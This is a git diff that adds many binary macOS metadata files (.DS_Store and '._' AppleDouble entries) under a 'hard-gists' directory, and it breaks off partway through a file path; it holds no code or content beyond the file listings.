diff --git a/hard-gists/.DS_Store b/hard-gists/.DS_Store new file mode 100644 index 00000000..c8fde9ff Binary files /dev/null and b/hard-gists/.DS_Store differ diff --git a/hard-gists/._.DS_Store b/hard-gists/._.DS_Store new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._.DS_Store differ diff --git a/hard-gists/._00056d4304c58a035c87cdf5ff1e5e3e b/hard-gists/._00056d4304c58a035c87cdf5ff1e5e3e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._00056d4304c58a035c87cdf5ff1e5e3e differ diff --git a/hard-gists/._000eccf3d66540d75def b/hard-gists/._000eccf3d66540d75def new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._000eccf3d66540d75def differ diff --git a/hard-gists/._00135b0dfee0ae165ad2 b/hard-gists/._00135b0dfee0ae165ad2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._00135b0dfee0ae165ad2 differ diff --git a/hard-gists/._005bbad123ef309a5bef b/hard-gists/._005bbad123ef309a5bef new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._005bbad123ef309a5bef differ diff --git a/hard-gists/._005ceac0483fc5a581cc b/hard-gists/._005ceac0483fc5a581cc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._005ceac0483fc5a581cc differ diff --git a/hard-gists/._00a17b1d374dfc267a9a b/hard-gists/._00a17b1d374dfc267a9a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._00a17b1d374dfc267a9a differ diff --git a/hard-gists/._00a4835bf36513ca58a3 b/hard-gists/._00a4835bf36513ca58a3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._00a4835bf36513ca58a3 differ diff --git a/hard-gists/._00e9638c0efad1adac878522cf172484 b/hard-gists/._00e9638c0efad1adac878522cf172484 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._00e9638c0efad1adac878522cf172484 differ diff --git a/hard-gists/._011004bcac763eaf6f28 b/hard-gists/._011004bcac763eaf6f28 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._011004bcac763eaf6f28 differ diff --git a/hard-gists/._0115e0ce312f26ff59f4fbf4f5821ca2 b/hard-gists/._0115e0ce312f26ff59f4fbf4f5821ca2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0115e0ce312f26ff59f4fbf4f5821ca2 differ diff --git a/hard-gists/._015e2ce27cecdea63564 b/hard-gists/._015e2ce27cecdea63564 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._015e2ce27cecdea63564 differ diff --git a/hard-gists/._01886b6f79ba0c4dce66 b/hard-gists/._01886b6f79ba0c4dce66 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._01886b6f79ba0c4dce66 differ diff --git a/hard-gists/._0191e14717af68bbba81 b/hard-gists/._0191e14717af68bbba81 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0191e14717af68bbba81 differ diff --git a/hard-gists/._019fd5c706e0bc94879f b/hard-gists/._019fd5c706e0bc94879f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._019fd5c706e0bc94879f differ diff --git a/hard-gists/._01b8b8e1909ae0f601c85e142f2bd15b b/hard-gists/._01b8b8e1909ae0f601c85e142f2bd15b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._01b8b8e1909ae0f601c85e142f2bd15b differ diff --git a/hard-gists/._01bf3900d3a02c4e3927b2a2bcf39100 b/hard-gists/._01bf3900d3a02c4e3927b2a2bcf39100 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._01bf3900d3a02c4e3927b2a2bcf39100 differ diff --git a/hard-gists/._01c99322cf985e771827 b/hard-gists/._01c99322cf985e771827 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._01c99322cf985e771827 differ diff --git a/hard-gists/._026a4d6400b1efac9a13a3296f16e655 b/hard-gists/._026a4d6400b1efac9a13a3296f16e655 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._026a4d6400b1efac9a13a3296f16e655 differ diff --git a/hard-gists/._02ff378b3a91de94306a84d3aa2228bb b/hard-gists/._02ff378b3a91de94306a84d3aa2228bb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._02ff378b3a91de94306a84d3aa2228bb differ diff --git a/hard-gists/._0306734dfe17076dfd34e09660c198c0 b/hard-gists/._0306734dfe17076dfd34e09660c198c0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0306734dfe17076dfd34e09660c198c0 differ diff --git a/hard-gists/._034e799c19eb763fa859 b/hard-gists/._034e799c19eb763fa859 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._034e799c19eb763fa859 differ diff --git a/hard-gists/._035dc3b722b7f89cce66520dde285c9a b/hard-gists/._035dc3b722b7f89cce66520dde285c9a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._035dc3b722b7f89cce66520dde285c9a differ diff --git a/hard-gists/._037e4134d8271c0de71b838a461e7ac1 b/hard-gists/._037e4134d8271c0de71b838a461e7ac1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._037e4134d8271c0de71b838a461e7ac1 differ diff --git a/hard-gists/._03d9c46c86691c9bb680 b/hard-gists/._03d9c46c86691c9bb680 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._03d9c46c86691c9bb680 differ diff --git a/hard-gists/._03de5c4c21138da5c29d b/hard-gists/._03de5c4c21138da5c29d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._03de5c4c21138da5c29d differ diff --git a/hard-gists/._044682e76def583a12e6c09209c664a1 b/hard-gists/._044682e76def583a12e6c09209c664a1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._044682e76def583a12e6c09209c664a1 differ diff --git a/hard-gists/._045c887b6ccdf0edf4648da0c40bcc12 b/hard-gists/._045c887b6ccdf0edf4648da0c40bcc12 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._045c887b6ccdf0edf4648da0c40bcc12 differ diff --git a/hard-gists/._046e434c51057dc9588762edd40199b1 b/hard-gists/._046e434c51057dc9588762edd40199b1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._046e434c51057dc9588762edd40199b1 differ diff --git a/hard-gists/._04c2b5ce5978c0d66e6e b/hard-gists/._04c2b5ce5978c0d66e6e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._04c2b5ce5978c0d66e6e differ diff --git a/hard-gists/._04ef258fa29e4e685287a30cf60462d0 b/hard-gists/._04ef258fa29e4e685287a30cf60462d0 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._04ef258fa29e4e685287a30cf60462d0 differ diff --git a/hard-gists/._04f3047ca8770f4a3a58 b/hard-gists/._04f3047ca8770f4a3a58 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._04f3047ca8770f4a3a58 differ diff --git a/hard-gists/._051e881fc94fe4a49295 b/hard-gists/._051e881fc94fe4a49295 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._051e881fc94fe4a49295 differ diff --git a/hard-gists/._053b89bd6975f89f043871335dce8c5b b/hard-gists/._053b89bd6975f89f043871335dce8c5b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._053b89bd6975f89f043871335dce8c5b differ diff --git a/hard-gists/._053db410f7fdd4e1d6034a0a7fd45d9b b/hard-gists/._053db410f7fdd4e1d6034a0a7fd45d9b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._053db410f7fdd4e1d6034a0a7fd45d9b differ diff --git a/hard-gists/._054023c4fca5369ffdb2 b/hard-gists/._054023c4fca5369ffdb2 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._054023c4fca5369ffdb2 differ diff --git a/hard-gists/._056626de3fbdc7cf7b59de1d9f6279d1 b/hard-gists/._056626de3fbdc7cf7b59de1d9f6279d1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._056626de3fbdc7cf7b59de1d9f6279d1 differ diff --git a/hard-gists/._05aadb969e43788593d3 b/hard-gists/._05aadb969e43788593d3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._05aadb969e43788593d3 differ diff --git a/hard-gists/._05bec6966701f720c3aa b/hard-gists/._05bec6966701f720c3aa new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._05bec6966701f720c3aa differ diff --git a/hard-gists/._05ff99985269200cdc4854ddc04fa6e9 b/hard-gists/._05ff99985269200cdc4854ddc04fa6e9 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._05ff99985269200cdc4854ddc04fa6e9 differ diff --git a/hard-gists/._0618f44dc5270f9a2be2826d0d933ed7 b/hard-gists/._0618f44dc5270f9a2be2826d0d933ed7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0618f44dc5270f9a2be2826d0d933ed7 differ diff --git a/hard-gists/._06336eb10a1628850d6f b/hard-gists/._06336eb10a1628850d6f new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._06336eb10a1628850d6f differ diff --git a/hard-gists/._06649145d7e6c4c147c02459fd2bc5af b/hard-gists/._06649145d7e6c4c147c02459fd2bc5af new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._06649145d7e6c4c147c02459fd2bc5af differ diff --git a/hard-gists/._070c805d947bd17c7a19 b/hard-gists/._070c805d947bd17c7a19 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._070c805d947bd17c7a19 differ diff --git a/hard-gists/._071932322204bcad6063 b/hard-gists/._071932322204bcad6063 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._071932322204bcad6063 differ diff --git a/hard-gists/._075c35b536cc08b832e353f2f43c0bdc b/hard-gists/._075c35b536cc08b832e353f2f43c0bdc new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._075c35b536cc08b832e353f2f43c0bdc differ diff --git a/hard-gists/._076424abd8b012371b516da32807ca14 b/hard-gists/._076424abd8b012371b516da32807ca14 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._076424abd8b012371b516da32807ca14 differ diff --git a/hard-gists/._076bbc6a0d5056d20ad45095b434b02d b/hard-gists/._076bbc6a0d5056d20ad45095b434b02d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._076bbc6a0d5056d20ad45095b434b02d differ diff --git a/hard-gists/._07cdfc2826a565b50a68 b/hard-gists/._07cdfc2826a565b50a68 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._07cdfc2826a565b50a68 differ diff --git a/hard-gists/._0830affa1f7f19fd47b06d4cf89ed44d b/hard-gists/._0830affa1f7f19fd47b06d4cf89ed44d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0830affa1f7f19fd47b06d4cf89ed44d differ diff --git a/hard-gists/._083777cb1f8c9efe6418c75d18bdd32b b/hard-gists/._083777cb1f8c9efe6418c75d18bdd32b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._083777cb1f8c9efe6418c75d18bdd32b differ diff --git a/hard-gists/._0932b2b5293839cd7d79fa6b513c8128 b/hard-gists/._0932b2b5293839cd7d79fa6b513c8128 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0932b2b5293839cd7d79fa6b513c8128 differ diff --git a/hard-gists/._09648344984565f9477a b/hard-gists/._09648344984565f9477a new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._09648344984565f9477a differ diff --git a/hard-gists/._096f3b651b268b7af4c8c32475fa23d1 b/hard-gists/._096f3b651b268b7af4c8c32475fa23d1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._096f3b651b268b7af4c8c32475fa23d1 differ diff --git a/hard-gists/._097f97f4cb67c554f04dba6b5a09a506 b/hard-gists/._097f97f4cb67c554f04dba6b5a09a506 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._097f97f4cb67c554f04dba6b5a09a506 differ diff --git a/hard-gists/._098f399d69f230521ef530baca832e76 b/hard-gists/._098f399d69f230521ef530baca832e76 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._098f399d69f230521ef530baca832e76 differ diff --git a/hard-gists/._09b1f5403c63ceab5ae34710cbe2809e b/hard-gists/._09b1f5403c63ceab5ae34710cbe2809e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._09b1f5403c63ceab5ae34710cbe2809e differ diff --git a/hard-gists/._09cae53bf67ea8a39700 b/hard-gists/._09cae53bf67ea8a39700 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._09cae53bf67ea8a39700 differ diff --git a/hard-gists/._09f5ab44486b1fc6df7bf20ce57159f1 b/hard-gists/._09f5ab44486b1fc6df7bf20ce57159f1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._09f5ab44486b1fc6df7bf20ce57159f1 differ diff --git a/hard-gists/._0a2ac74d800a2eff9540 b/hard-gists/._0a2ac74d800a2eff9540 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0a2ac74d800a2eff9540 differ diff --git a/hard-gists/._0a3d4fae965bdbec1f9d b/hard-gists/._0a3d4fae965bdbec1f9d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0a3d4fae965bdbec1f9d differ diff --git a/hard-gists/._0a509faf231cff3cdec7 b/hard-gists/._0a509faf231cff3cdec7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0a509faf231cff3cdec7 differ diff --git a/hard-gists/._0aaa9e4659977a98fc9f36d6887fef37 b/hard-gists/._0aaa9e4659977a98fc9f36d6887fef37 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0aaa9e4659977a98fc9f36d6887fef37 differ diff --git a/hard-gists/._0acf77b2c022e2467cfb0d5493d454d6 b/hard-gists/._0acf77b2c022e2467cfb0d5493d454d6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0acf77b2c022e2467cfb0d5493d454d6 differ diff --git a/hard-gists/._0afa43225bdbe8e803cb b/hard-gists/._0afa43225bdbe8e803cb new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0afa43225bdbe8e803cb differ diff --git a/hard-gists/._0b42dbd687ae3b838728 b/hard-gists/._0b42dbd687ae3b838728 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0b42dbd687ae3b838728 differ diff --git a/hard-gists/._0b677b13fca6cd0905ca b/hard-gists/._0b677b13fca6cd0905ca new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0b677b13fca6cd0905ca differ diff --git a/hard-gists/._0b7e91487dcf10c0b8e8711eb6d73bc5 b/hard-gists/._0b7e91487dcf10c0b8e8711eb6d73bc5 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0b7e91487dcf10c0b8e8711eb6d73bc5 differ diff --git a/hard-gists/._0b92b9ca837a0f5474c732876220db78 b/hard-gists/._0b92b9ca837a0f5474c732876220db78 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0b92b9ca837a0f5474c732876220db78 differ diff --git a/hard-gists/._0b942dd86f01efe996b8977b158c37a6 b/hard-gists/._0b942dd86f01efe996b8977b158c37a6 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0b942dd86f01efe996b8977b158c37a6 differ diff --git a/hard-gists/._0b9d8a742fe0efe0fe82 b/hard-gists/._0b9d8a742fe0efe0fe82 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0b9d8a742fe0efe0fe82 differ diff --git a/hard-gists/._0ba0270279a0f38280423754cea2ee1e b/hard-gists/._0ba0270279a0f38280423754cea2ee1e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0ba0270279a0f38280423754cea2ee1e differ diff --git a/hard-gists/._0bc7d313e7a84b708374 b/hard-gists/._0bc7d313e7a84b708374 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0bc7d313e7a84b708374 differ diff --git a/hard-gists/._0bdd7059a08cbcd00898 b/hard-gists/._0bdd7059a08cbcd00898 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0bdd7059a08cbcd00898 differ diff --git a/hard-gists/._0c01b7a27e512db480847fac2cc54103 b/hard-gists/._0c01b7a27e512db480847fac2cc54103 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0c01b7a27e512db480847fac2cc54103 differ diff --git a/hard-gists/._0c10e910e514832b7103 b/hard-gists/._0c10e910e514832b7103 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0c10e910e514832b7103 differ diff --git a/hard-gists/._0c7ccae5d764ff61788fc626096e5688 b/hard-gists/._0c7ccae5d764ff61788fc626096e5688 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0c7ccae5d764ff61788fc626096e5688 differ diff --git a/hard-gists/._0ca2272c015266e667924836364349c3 b/hard-gists/._0ca2272c015266e667924836364349c3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0ca2272c015266e667924836364349c3 differ diff --git a/hard-gists/._0cdd8d6adb8463961f50bd1845faddf8 b/hard-gists/._0cdd8d6adb8463961f50bd1845faddf8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0cdd8d6adb8463961f50bd1845faddf8 differ diff --git a/hard-gists/._0cfe89a89b892e47e8418e281dfe318d b/hard-gists/._0cfe89a89b892e47e8418e281dfe318d new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0cfe89a89b892e47e8418e281dfe318d differ diff --git a/hard-gists/._0d1baad4e3a871587ab1 b/hard-gists/._0d1baad4e3a871587ab1 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0d1baad4e3a871587ab1 differ diff --git a/hard-gists/._0d25683d9c8fce27edd3 b/hard-gists/._0d25683d9c8fce27edd3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0d25683d9c8fce27edd3 differ diff --git a/hard-gists/._0d5a709bbb4186d1f45f2af14c65b110 b/hard-gists/._0d5a709bbb4186d1f45f2af14c65b110 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0d5a709bbb4186d1f45f2af14c65b110 differ diff --git a/hard-gists/._0d5b3e7cc89cb2180c6e b/hard-gists/._0d5b3e7cc89cb2180c6e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0d5b3e7cc89cb2180c6e differ diff --git a/hard-gists/._0d9745f39a034758e51e b/hard-gists/._0d9745f39a034758e51e new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0d9745f39a034758e51e differ diff --git a/hard-gists/._0d9f91f789f0c523b0e7 b/hard-gists/._0d9f91f789f0c523b0e7 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0d9f91f789f0c523b0e7 differ diff --git a/hard-gists/._0db840f27f1f0fd0747f13ab80d0ca37 b/hard-gists/._0db840f27f1f0fd0747f13ab80d0ca37 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0db840f27f1f0fd0747f13ab80d0ca37 differ diff --git a/hard-gists/._0db858e055cc2bae953b435f5116aaa8 b/hard-gists/._0db858e055cc2bae953b435f5116aaa8 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0db858e055cc2bae953b435f5116aaa8 differ diff --git a/hard-gists/._0e7d366d2e3623c5bb95 b/hard-gists/._0e7d366d2e3623c5bb95 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0e7d366d2e3623c5bb95 differ diff --git a/hard-gists/._0ec0c3f5ca69bac2b625 b/hard-gists/._0ec0c3f5ca69bac2b625 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0ec0c3f5ca69bac2b625 differ diff --git a/hard-gists/._0ee6dd444994fd67f63b b/hard-gists/._0ee6dd444994fd67f63b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0ee6dd444994fd67f63b differ diff --git a/hard-gists/._0efb4d07f28af1c8fc1b b/hard-gists/._0efb4d07f28af1c8fc1b new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0efb4d07f28af1c8fc1b differ diff --git a/hard-gists/._0efb90d998c59d5926ca7f4e79054361 b/hard-gists/._0efb90d998c59d5926ca7f4e79054361 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0efb90d998c59d5926ca7f4e79054361 differ diff --git a/hard-gists/._0efcacfb43827ba3a6bac3356315c419 b/hard-gists/._0efcacfb43827ba3a6bac3356315c419 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0efcacfb43827ba3a6bac3356315c419 differ diff --git a/hard-gists/._0f450e738bf79c003253 b/hard-gists/._0f450e738bf79c003253 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0f450e738bf79c003253 differ diff --git a/hard-gists/._0f575a0891cfef5f1b0024c89dcbaeea b/hard-gists/._0f575a0891cfef5f1b0024c89dcbaeea new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0f575a0891cfef5f1b0024c89dcbaeea differ diff --git a/hard-gists/._0f5f65ddbfa278713f58 b/hard-gists/._0f5f65ddbfa278713f58 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0f5f65ddbfa278713f58 differ diff --git a/hard-gists/._0f87efc363309e99d600e3a6300fbcff b/hard-gists/._0f87efc363309e99d600e3a6300fbcff new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._0f87efc363309e99d600e3a6300fbcff differ diff --git a/hard-gists/._10005117 b/hard-gists/._10005117 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10005117 differ diff --git a/hard-gists/._10010307 b/hard-gists/._10010307 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10010307 differ diff --git a/hard-gists/._10011921 b/hard-gists/._10011921 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10011921 differ diff --git a/hard-gists/._10016605 b/hard-gists/._10016605 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10016605 differ diff --git a/hard-gists/._10023837 b/hard-gists/._10023837 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10023837 differ diff --git a/hard-gists/._1009475 b/hard-gists/._1009475 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1009475 differ diff --git a/hard-gists/._101323115e70bb6671d3 b/hard-gists/._101323115e70bb6671d3 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._101323115e70bb6671d3 differ diff --git a/hard-gists/._10206392 b/hard-gists/._10206392 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10206392 differ diff --git a/hard-gists/._1023456 b/hard-gists/._1023456 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1023456 differ diff --git a/hard-gists/._10235798 b/hard-gists/._10235798 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10235798 differ diff --git a/hard-gists/._1025525 b/hard-gists/._1025525 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1025525 differ diff --git a/hard-gists/._1025736 b/hard-gists/._1025736 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1025736 differ diff --git a/hard-gists/._10281460 b/hard-gists/._10281460 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10281460 differ diff --git a/hard-gists/._1029336 b/hard-gists/._1029336 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1029336 differ diff --git a/hard-gists/._10295174 b/hard-gists/._10295174 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10295174 differ diff --git a/hard-gists/._1029870 b/hard-gists/._1029870 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1029870 differ diff --git a/hard-gists/._10335601 b/hard-gists/._10335601 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10335601 differ diff --git a/hard-gists/._1035190 b/hard-gists/._1035190 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1035190 differ diff --git a/hard-gists/._10354951 b/hard-gists/._10354951 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10354951 differ diff --git a/hard-gists/._1035890 b/hard-gists/._1035890 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1035890 differ diff --git a/hard-gists/._1036883 b/hard-gists/._1036883 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1036883 differ diff --git a/hard-gists/._1038987 b/hard-gists/._1038987 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1038987 differ diff --git a/hard-gists/._1040366 b/hard-gists/._1040366 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1040366 differ diff --git a/hard-gists/._1041172 b/hard-gists/._1041172 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1041172 differ diff --git a/hard-gists/._1042719 b/hard-gists/._1042719 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1042719 differ diff --git a/hard-gists/._1042778 b/hard-gists/._1042778 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1042778 differ diff --git a/hard-gists/._10438748 b/hard-gists/._10438748 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10438748 differ diff --git a/hard-gists/._1044215 b/hard-gists/._1044215 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1044215 differ diff --git a/hard-gists/._1045108 b/hard-gists/._1045108 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1045108 differ diff --git a/hard-gists/._10491632 b/hard-gists/._10491632 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10491632 differ diff --git a/hard-gists/._1052286 b/hard-gists/._1052286 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1052286 differ diff --git a/hard-gists/._1054969 b/hard-gists/._1054969 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1054969 differ diff --git a/hard-gists/._1055161 b/hard-gists/._1055161 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1055161 differ diff --git a/hard-gists/._10554232 b/hard-gists/._10554232 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10554232 differ diff --git a/hard-gists/._1055992 b/hard-gists/._1055992 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1055992 differ diff --git a/hard-gists/._10567484 b/hard-gists/._10567484 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10567484 differ diff --git a/hard-gists/._10589494 b/hard-gists/._10589494 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._10589494 differ diff --git a/hard-gists/._1059647 b/hard-gists/._1059647 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1059647 differ diff --git a/hard-gists/._1065196 b/hard-gists/._1065196 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1065196 differ diff --git a/hard-gists/._1068021 b/hard-gists/._1068021 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1068021 differ diff --git a/hard-gists/._1068255 b/hard-gists/._1068255 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1068255 differ diff --git a/hard-gists/._1068868 b/hard-gists/._1068868 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1068868 differ diff --git a/hard-gists/._106c49a3ae6d420937aa b/hard-gists/._106c49a3ae6d420937aa new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._106c49a3ae6d420937aa differ diff --git a/hard-gists/._1072977 b/hard-gists/._1072977 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1072977 differ diff --git a/hard-gists/._1074124 b/hard-gists/._1074124 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1074124 differ diff --git a/hard-gists/._1074202 b/hard-gists/._1074202 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1074202 differ diff --git a/hard-gists/._1074227 b/hard-gists/._1074227 new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/._1074227 differ diff --git a/hard-gists/._1074551 